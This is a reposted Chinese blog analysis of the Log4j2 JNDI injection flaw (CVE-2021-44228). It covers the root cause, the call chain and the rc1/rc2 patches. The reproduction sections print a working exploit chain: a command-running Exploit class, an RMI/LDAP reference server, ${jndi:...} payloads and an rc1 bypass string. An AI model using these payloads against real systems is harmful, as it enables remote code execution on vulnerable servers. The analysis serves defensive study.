Log4j2的JNDI注入漏洞(CVE-2021-44228)原理分析与思考

news2024/9/28 23:32:18

目录

前言

一、 前置知识

1.1 Log4j2

1.2 Log4j2 Lookup

1.3 JNDI

1.4 JNDI注入

二、 漏洞复现

三、 漏洞原理

3.1 MessagePatternConverter.format()

3.2 StrSubstitutor.resolveVariable()

3.3 Interpolator.lookup()

3.4 JndiLookup.lookup()

3.5 JndiManager.lookup()

四、 补丁分析

4.1 2.15.0-rc1

4.2 2.15.0-rc2

4.2.2 绕过rc1

4.2.3 rc2的修复方案

五、思考

更多内容可参考析策XDR平台

参考


前言

最近Log4j2的JNDI注入漏洞(CVE-2021-44228)可以称之为“核弹”级别。Log4j2作为类似JDK级别的基础类库,几乎没人能够幸免。极盾科技技术总监对该漏洞进行复现和分析其形成原理。在此分享。

以下涉及的代码,均在mac OS 10.14.5,JDK1.8.0_91环境下成功运行。

一、 前置知识

1.1 Log4j2

Log4j2是一个Java日志组件,被各类Java框架广泛地使用。它的前身是Log4j,Log4j2重新构建和设计了框架,可以认为两者是完全独立的两个日志组件。本次漏洞影响范围为Log4j2最早期的版本2.0-beta9到2.15.0。

因为存在前身Log4j,而且都是Apache下的项目,不管是jar包名称还是package名称,看起来都很相似,导致有些人分不清自己用的是Log4j还是Log4j2。这里给出几个辨别方法:

  1. Log4j2分为2个jar包,一个是接口log4j-api-${版本号}.jar,一个是具体实现log4j-core-${版本号}.jar。Log4j只有一个jar包log4j-${版本号}.jar

  2. Log4j2的版本号目前均为2.x。Log4j的版本号均为1.x。

  3. Log4j2的package名称前缀为org.apache.logging.log4j。Log4j的package名称前缀为org.apache.log4j

1.2 Log4j2 Lookup

Log4j2的Lookup主要功能是通过引用一些变量,往日志中添加动态的值。这些变量可以是外部环境变量,也可以是MDC中的变量,还可以是日志上下文数据等。

下面是一个简单的Java Lookup例子和输出:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;

public class Log4j2Lookup {
    public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class);

    public static void main(String[] args) {
        ThreadContext.put("userId", "test");
        LOGGER.error("userId: ${ctx:userId}");
    }
}
10:21:19.618 [main] ERROR Log4j2RCEPoc - userId: test

从上面的例子可以看到,通过在日志字符串中加入"${ctx:userId}",Log4j2在输出日志时,会自动在Log4j2的ThreadContext中查找并引用userId变量。格式类似"${type:var}",即可以实现对变量var的引用。type可以是如下值:

  • ctx:允许程序将数据存储在 Log4j ThreadContextMap 中,然后在日志输出过程中,查找其中的值。

  • env:允许系统在全局文件(如 /etc/profile)或应用程序的启动脚本中配置环境变量,然后在日志输出过程中,查找这些变量。例如:${env:USER}

  • java:允许查找Java环境配置信息。例如:${java:version}

  • jndi:允许通过 JNDI 检索变量。

  • ......

其中和本次漏洞相关的便是jndi,例如:${jndi:rmi//127.0.0.1:1099/a},表示通过JNDI Lookup功能,获取rmi//127.0.0.1:1099/a上的变量内容。

1.3 JNDI

JNDI(Java Naming and Directory Interface,Java命名和目录接口),是Java提供的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象 。

例如使用数据库,需要在各个应用中配置各种数据库相关的参数后使用。通过JNDI,可以将数据库相关的配置在一个支持JNDI服务的容器(通常Tomat等Web容器均支持)中统一完成,并暴露一个简洁的名称,该名称背后绑定着一个DataSource对象。各个应用只需要通过该名称和JNDI接口,获取该名称背后的DataSource对象。当然,现在SpringBoot单体发布模式,极少会使用这种方式了。

再举个更简单的例子,这有点类似DNS提供域名到IP地址的解析服务。域名简洁易懂,便于普通用户使用,背后真正对应的是一个复杂难记的IP,甚至还可能是多个IP。DNS即JNDI服务,域名即可用于绑定和查找的名称,IP即该名称绑定的真正对象。用现代可以类比的技术来说,JNDI就是一个对象注册中心。

JNDI由三部分组成:JNDI API、Naming Manager、JNDI SPI。JNDI API是应用程序调用的接口,JNDI SPI是具体实现,应用程序需要指定具体实现的SPI。下图是官方对JNDI介绍的架构图:

下面是一个简单的例子:

public interface Hello extends java.rmi.Remote {
    public String sayHello(String from) throws java.rmi.RemoteException;
}
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements Hello {
    public HelloImpl() throws java.rmi.RemoteException {
        super();
    }

    @Override
    public String sayHello(String from) throws java.rmi.RemoteException {
        System.out.println("Hello from " + from + "!!");
        return "sayHello";
    }
}
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class HelloServer {
    public static void main(String[] args) throws RemoteException, NamingException {
        LocateRegistry.createRegistry(1099);
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");
        InitialContext context = new InitialContext();
        context.bind("java:hello", new HelloImpl());
        context.close();
    }
}
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class HelloClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");
        InitialContext context = new InitialContext();
        Hello rmiObject = (Hello) context.lookup("java:hello");
        System.out.println(rmiObject.sayHello("world"));
        context.close();
    }
}

先运行HelloServer,再运行HelloClient,即可看到运行输出的结果:sayHello

HelloServerHelloImpl对象绑定到java:hello名称上。HelloClient使用java:hello名称,即可获取HelloImpl对象。

1.4 JNDI注入

由前面的例子可以看到,JNDI服务管理着一堆的名称和这些名称上绑定着的对象。如果这些对象不是本地的对象,会如何处理?JNDI还支持从指定的远程服务器上下载class文件,加载到本地JVM中,并通过适当的方式创建对象。

“class文件加载到本地JVM中,并通过适当的方式创建对象”,在这个过程中,static代码块以及创建对象过程中的某些特定回调方法即有机会被执行。JNDI注入正是基于这个思路实现的。

本篇文章主要分析Log4j2的JNDI注入产生原因,并不会对JNDI注入自身太过关注,网上也有大量分析的文章可供参考,这里就不再详述了。

二、 漏洞复现

以下复现使用Log4j2-2.14.1版本,maven的引用依赖参考如下:

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
</dependency>
  1. 编写漏洞利用代码Exploit并编译生成Exploit.class。代码如下:

public class Exploit {
    static {
        String cmd = "/Applications/Calculator.app/Contents/MacOS/Calculator";
        final Process process;
        try {
            process = Runtime.getRuntime().exec(cmd);
            process.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
  1. 本地执行python3 -m http.server 8081,启动web服务器,监听在8081端口。将上一步编译生成的Exploit.class文件放到web服务的根目录(根目录即为执行python3 -m http.server 8081命令的工作目录)。

  1. 编写RMI服务端代码RMIServer,并编译运行。代码如下:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference exploit = new Reference("Exploit", "Exploit", "http://127.0.0.1:8081/");
        ReferenceWrapper exploitWrapper = new ReferenceWrapper(exploit);
        registry.bind("exp", exploitWrapper);
    }
}
  1. 编写漏洞poc代码,并编译运行。代码和运行结果如下:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2RCEPoc {
    public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class);

    public static void main(String[] args) {
        LOGGER.error("${jndi:rmi://127.0.0.1:1099/exp}");
    }
}

三、 漏洞原理

由于是JNDI注入,因此可以通过在InitialContext.lookup(String name)方法上设置端点,观察整个漏洞触发的调用堆栈,来了解原理。调用堆栈如下:

整个调用堆栈较深,这里把几个关键点提取整理如下:

LOGGER.error
  ......
    MessagePatternConverter.format
      ....
        StrSubstitutor.resolveVariable
          Interpolator.lookup
            JndiLookup.lookup
              JndiManager.lookup
                InitialContext.lookup

3.1 MessagePatternConverter.format()

poc代码中的LOGGER.error()方法最终会调用到MessagePatternConverter.format()方法,该方法对日志内容进行解析和格式化,并返回最终格式化后的日志内容。当碰到日志内容中包含${子串时,调用StrSubstitutor进行进一步解析。

3.2 StrSubstitutor.resolveVariable()

StrSubstitutor将${}之间的内容提取出来,调用并传递给Interpolator.lookup()方法,实现Lookup功能。

3.3 Interpolator.lookup()

Interpolator实际是一个实现Lookup功能的代理类,该类在成员变量strLookupMap中保存着各类Lookup功能的真正实现类。Interpolator对 上一步提取出的内容解析后,从strLookupMap获得Lookup功能实现类,并调用实现类的lookup()方法。

例如对poc例子中的jndi:rmi://127.0.0.1:1099/exp解析后得到jndi的Lookup功能实现类为JndiLookup,并调用JndiLookup.lookup()方法。

3.4 JndiLookup.lookup()

JndiLookup.lookup()方法调用JndiManager.lookup()方法,获取JNDI对象后,调用该对象上的toString()方法,最终返回该字符串。

3.5 JndiManager.lookup()

JndiManager.lookup()较为简单,直接委托给InitialContext.lookup()方法。这里单独提到该方法,是因为后续几个补丁中较为重要的变更即为该方法。

至此,后续即可以按照常规的JNDI注入路径进行分析。

四、 补丁分析

4.1 2.15.0-rc1

通过比较2.15.0-rc1和该版本之前最后一个版本2.14.1之间的差异,可以发现Log4j2团队在12月5日提交了一个名为Restrict LDAP access via JNDI (#608)的commit。该commit的详细内容如下链接:

https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3

除去一些测试代码和辅助代码,该commit最主要内容是在3.5章节中提到的 JndiManager.lookup()方法增加了几种限制,分别是allowedHostsallowedClassesallowedProtocols各个限制的内容分别如下:

可以看到,rc1补丁通过对JNDI Lookup增加白名单的方式,限制默认可以访问的主机为本地IP,限制默认支持的协议类型为javaldapldaps,限制LDAP协议默认可以使用的Java类型为少数基础类型,从而大大减少了默认的攻击面。

4.2 2.15.0-rc2

4.2.1 rc1中存在的问题

在rc1还未正式成为release版本之前,Log4j团队又在两天不到的时间里发布了rc2版本,说明rc1依然存在着一些问题。我们来看下rc1里主要修复的JndiManager.lookup()方法的整体逻辑结构:

public synchronized <T> T lookup(final String name) throws NamingException {
        try {
            URI uri = new URI(name);
            if (uri.getScheme() != null) {
                if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                    ......
                    return null;
                }
                if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
                    if (!allowedHosts.contains(uri.getHost())) {
                        ......
                        return null;
                    }
                    ......
                    if (!allowedClasses.contains(className)) {
                        ......
                        return null;
                    }
                    ......
                }
            }
        } catch (URISyntaxException ex) {
            // This is OK.
        }
        return (T) this.context.lookup(name);
    }

从上面的代码结构中可以总结如下的逻辑:

  • 对传入的name参数进行4.1章节提到的各类检查。如果检查不通过,则直接返回null

  • 如果产生URISyntaxException,则对该异常忽略,继续执行this.context.lookup(name)

  • 如果未产生URISyntaxException,则执行this.context.lookup(name)

我们重点关注catch代码块,rc1默认不对URISyntaxException异常做任何处理,继续执行后续逻辑,即this.context.lookup(name)

再看下try代码块中可能产生URISyntaxException的地方。很不幸,try代码块的第一个语句即可能产生该异常:URI uri = new URI(name);

试想一下,如果能够构造某个特殊的URI,导致URI uri = new URI(name);语句解析URI异常,抛出URISyntaxException,但又能被this.context.lookup(name)正确处理,不就可以绕过了吗?

4.2.2 绕过rc1

由于rc1未在maven中央仓库上,因此需要自行下载代码并构建:

到Log4j2的GitHub官方仓库下载rc1:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1。分别进入log4j-api和log4j-core目录,执行mvn clean install -DskipTests。最终会在本地maven仓库上生成rc1的jar包,版本为2.15.0,后续测试使用该jar包。

由于rc1默认未开启Lookup功能,需要先开启,可以通过在配置文件的%msg中添加{lookup}进行开启。在当前类路径下添加log4j2.xml,内容参考如下:

<Configuration>
    <Appenders>
        <Console name="CONSOLE">
            <PatternLayout>
                <pattern>%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{lookups}%n</pattern>
            </PatternLayout>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="DEBUG">
            <AppenderRef ref="CONSOLE"/>
        </Root>
    </Loggers>
</Configuration>
  1. 漏洞利用代码和二、漏洞利用章节中一致,编译生成Exploit.class。

  1. 本地执行python3 -m http.server 8081,启动web服务器,监听在8081端口。将上一步编译生成的Exploit.class文件放到web服务的根目录(根目录即为执行python3 -m http.server 8081命令的工作目录)。

  1. 由于rc1中默认仅支持javaldapldaps这三种协议,就使用LDAP协议吧。自己搭建LDAP服务器比较麻烦,这里直接利用下marshalsec这个库。运行java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8081/#Exploit 8888,启动LDAP服务。

  1. 编写漏洞poc代码,并编译运行。代码和运行结果如下:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2RC1Bypass {
    public static final Logger LOGGER = LogManager.getLogger(Log4j2RC1Bypass.class);

    public static void main(String[] args) {
        LOGGER.error("${jndi:ldap://127.0.0.1:8888/ exp}");
    }
}

 

可以看到,通过构建一个简单的带空格的异形URI地址(127.0.0.1:8888/exp之间),rc1被绕过了。

4.2.3 rc2的修复方案

通过比较2.15.0-rc1和2.15.0-rc2之间的差异,可以发现Log4j2团队在12月10日提交了一个名为Handle URI exception的commit。该commit的详细内容如下链接:

https://github.com/apache/logging-log4j2/commit/bac0d8a35c7e354a0d3f706569116dff6c6bd658

该commit主要内容是对rc1中JndiManager.lookup()方法里的catch代码块进行了修改:当URISyntaxException异常被捕获时,直接返回null。从而无法使用上一章节的异形URI地址绕过。

五、思考

本次漏洞就其原理来说,并不复杂,甚至有些简单。rc1中采用较为严格的白名单限制,就应急处理方法上来看,无可厚非。但从历史上发生的各类漏洞修补过程中来看,必定会有各种地方遗漏导致后续不停地打补丁。从软件开发角度讲,与其在上线后不停修复打补丁,不如在开发早期,即设计阶段或者开发阶段,尽量避免这类既有可能产生安全风险的设计。在最新版本的2.16.0,Log4j2团队干脆默认禁用掉了JNDI Lookup功能。

另外,rc1中catch代码对异常的处理方式,在日常开发过程中也是容易犯的问题。安全中有一个原则,叫做“Fail Safely”,意为安全地处理错误。安全地处理错误是安全编程的一个重要方面。在程序设计时,要确保安全控制模块在发生异常时遵循了禁止操作的处理逻辑。例如:一个判断用户验证是否通过的代码,默认应该设定用户验证不通过,仅仅在用户验证通过时才设置为验证通过。这样即使在验证过程中发生了异常,并且该异常无意间被捕获时,任然能确保用户验证不通过。

因为Log4j2框架几乎是一个类似JDK级别的基础类库,即便自身应用程序里完成了升级,但极其大量的其它框架、中间件导致升级工作极为困难,甚至在几年内都无法达到一个可接受的水平。目前,绝大部分公司采取在边界防护设备上使用“临时补丁”的方式。同时,大量bypass方法也随之而来,这将是一个漫长的过程。

“临时补丁”意味着无法根除,而底层依赖的升级又极为耗时,那么,如何更好地发现并规避在此期间产生的风险呢?

更多内容可参考析策XDR平台

https://www.jidun.cn/product/xice

参考

  • Log4j2 Lookups: https://logging.apache.org/log4j/2.x/manual/lookups.html

  • Oracle JNDI官方文档: https://docs.oracle.com/javase/tutorial/jndi/overview/index.html

  • 一篇JNDI注入原理文章: http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/

  • marshalsec: https://github.com/mbechler/marshalsec

  • Log4j2 2.14.1和2.15.0-rc1的区别比较: https://github.com/apache/logging-log4j2/compare/rel/2.14.1...log4j-2.15.0-rc1

  • Log4j2 2.15.0-rc1和rc2的区别比较: https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1...log4j-2.15.0-rc2

1    原文地址: https://www.freebuf.com/vuls/316143.html

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!

                                              @hack渗透视频教程,扫码免费领

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1077980.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

cos文件上传demo (精简版通用)

1. 依赖 <!--腾讯云cos依赖--> <dependency><groupId>com.qcloud</groupId><artifactId>cos_api</artifactId><version>5.6.54</version> </dependency> 2. FileController import com.ruoyi.common.core.domain.AjaxRe…

网络层协议—IP协议

网络层协议—IP协议 文章目录 网络层协议—IP协议网络层简介IP协议简介IP协议文格式IP协议报头实现网络互联的使用设备 网段划分IP地址划分子网掩码IP地址的特点特殊的IP地址IP地址的数量限制私有IP地址和公网IP地址NAT技术 路由报文的分片与组装IP地址和硬件地址 网络层简介 …

2023.10.8 基本 Thread 线程详解

目录 Thread 常见构造方法 Thread 常见属性 创建一个 Thread 线程 使用 jconsole 命令观察线程 中断一个 Thread 线程 等待一个 Thread 线程 休眠当前 Thread 线程 让出当前 Thread 线程的 CPU 资源 线程的状态 Thread 常见构造方法 方法说明Thread()创建线程对…

Nginx 重新编译添加新的模块

编译安装Nginx的时候&#xff0c;有些模块默认并不会安装&#xff0c;比如http_ssl_module&#xff0c;那么为了让Nginx支持HTTPS&#xff0c;必须添加这个模块。 下面讲解如何在已经安装过后再次添加新的模块。 1、找到安装nginx的源码根目录(即安装包存放目录)&#xff0c;…

2023年【G1工业锅炉司炉】考试题及G1工业锅炉司炉模拟考试

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 2023年G1工业锅炉司炉考试题为正在备考G1工业锅炉司炉操作证的学员准备的理论考试专题&#xff0c;每个月更新的G1工业锅炉司炉模拟考试祝您顺利通过G1工业锅炉司炉考试。 1、【多选题】TSGG0001-2012《锅炉安全技术监…

Potplayer结合cpolar内网穿透实现公网访问群晖WebDAV

把potplayer变成netflix需要几步&#xff1f; ​ 国内流媒体平台的内容让人一言难尽&#xff0c;就算是购买了国外的优秀作品&#xff0c;也总是在关键剧情上删删减减&#xff0c;就算是充了会员&#xff0c;效果如何&#xff1f; 广大网友不得不选择自己找资源下到本地&#x…

剪切板中,经常用到的gpt编程提问

/data/user/0/org.qpython.qpy/files/bin/qpy thon3.sh "/storage/emulated/0/qpython/评论 截图问题1.矩阵2.1.2.1空行问题1.4.5.py" && exit .1.2.1空行问题1.4.5.py" && exit < 时间戳&#xff1a; 时间戳&#xff1a; ("…

springboot 捕获特点异常信息并处理

前端获取效果图 springboot 捕获特点异常信息并处理 import com.one.utils.JSONResult; //JSONResult定义处理结果对象 import org.springframework.web.bind.annotation.ExceptionHandler

Flink开发环境搭建与提交运行Flink应用程序

Flink开发环境搭建与提交运行Flink应用程序 Flink概述环境 Flink程序开发项目构建添加依赖安装Netcat实现经典的词频统计批处理示例流处理示例 Flink Web UI 命令行提交作业编写Flink程序打包上传Jar提交作业查看任务测试 Web UI提交作业提交作业测试 Flink 概述 Apache Flink…

解决Opencv dnn模块无法使用onnx模型的问题(将onnx的动态输入改成静态)

一、问题来源 最近做人脸识别项目&#xff0c;想只用OpenCV自带的人脸检测和识别模块实现&#xff0c;使用OpenCV传统方法&#xff1a;Haar级联分类器人脸检测LBPH算法人脸识别的教程已经有了&#xff0c;于是想着用OpenCV中的dnn模块来实现&#xff0c;dnn实现人脸检测也有&a…

大数据安全 | 【实验】DES加密解密

文章目录 &#x1f4da;DES介绍&#x1f4da;基本流程&#x1f407;初始IP置换和逆置换&#x1f407;计算每一轮的子密钥&#x1f407;迭代与F函数⭐️E扩展置换⭐️S盒压缩⭐️P盒置换⭐️最后的F函数及迭代实现 &#x1f4da;DES加密解密实现&#x1f4da;关于雪崩效应 &…

企业如何实现信息化管理?IT运维管理有什么注意的事项?

随着信息技术的迅猛发展&#xff0c;企业所面临的IT运维管理挑战也日益复杂。在复杂的IT系统中&#xff0c;如何实施有效的运维管理已成为企业信息化部门关注的重点。本文分析了当前的IT运维管理现状以及所遇到的问题&#xff0c;并提出相应的解决方案——“的修”运维工单管理…

点云处理开发测试题目 完整解决方案

点云处理开发测试题目 文件夹中有一个场景的三块点云数据,单位mm。是一个桌子上放了一个纸箱,纸箱上有四个圆孔。需要做的内容是: 1. 绘制出最小外接立方体,得到纸箱的长宽高值。注意高度计算是纸箱平面到桌子平面的距离。 2. 计算出纸箱上的四个圆的圆心坐标和半径,对圆…

活动聊天机器人如何革新活动行业

在如今快节奏的时代&#xff0c;活动策划和管理对于任何活动的成功变得至关重要。无论是会议、展览会还是企业聚会&#xff0c;组织者都努力为参与者创造难忘的体验&#xff0c;同时确保幕后的顺利执行。然而&#xff0c;由于有许多任务需要处理且资源有限&#xff0c;管理活动…

2023年另类数据研究报告

第一章 引言 1.1 定义 另类数据&#xff0c;通常被定义为传统金融报告和宏观经济指标之外的信息&#xff0c;近年来在投资领域中的重要性日益增长。这种数据通常来源于非传统的数据源&#xff0c;例如社交媒体、卫星图像、互联网搜索记录和消费者交易数据等。与传统数据相比…

docker入门加实战—从部署MySQL入门docker

docker入门加实战—从部署MySQL入门docker docker部署MySQL 输入如下命令&#xff1a; docker run -d \--name mysql \-p 3306:3306 \-e TZAsia/Shanghai \-e MYSQL_ROOT_PASSWORD123 \mysql部署成功截图如下&#xff1a; 当执行命令后&#xff0c;Docker做的第一件事情&…

MAX插件CGMAGIC一键解决效果图在软包硬包上费时费力操作!

使用3dmax软件进行室内建模中的软包、硬包、欧式真皮沙发等家具建模这些的操作相对是比较多的&#xff0c;3dmax软包建模来说&#xff0c;进行手动建模一向都是非常头痛和耗时的事情。 CGMAGIC小编来和大家聊聊&#xff0c;如何一键解决效果图在软包硬包上费时费力操作&#xf…

mp4音视频分离技术

文章目录 问题描述一、分离MP3二、分离无声音的MP4三、结果 问题描述 MP4视频想拆分成一个MP3音频和一个无声音的MP4文件 一、分离MP3 ffmpeg -i C:\Users\Administrator\Desktop\一个文件夹\我在财神殿里长跪不起_完整版MV.mp4 -vn C:\Users\Administrator\Desktop\一个文件…

在XShell里Linux服务器创建和删除子用户

文章目录 在XShell里Linux服务器创建和删除子用户1、创建子用户2、删除子用户 在XShell里Linux服务器创建和删除子用户 1、创建子用户 注意&#xff1a;只有root用户下才能创建子用户 步骤&#xff1a; 首先打开XShell登录上root用户&#xff0c;然后输入useradd 要添加的用户…

SpringBoot-黑马程序员-学习笔记(三)

目录 30.springboot整合MyBatis-plus 32.SSM整合 38.MP中的条件查询 小知识&#xff1a;许多放在类前面的注解&#xff0c;比如Mapper,Service都是将该类定义成一个Bean&#xff0c;交给spring管理 39.Service模块 30.springboot整合MyBatis-plus 1.创建普通springboot项目…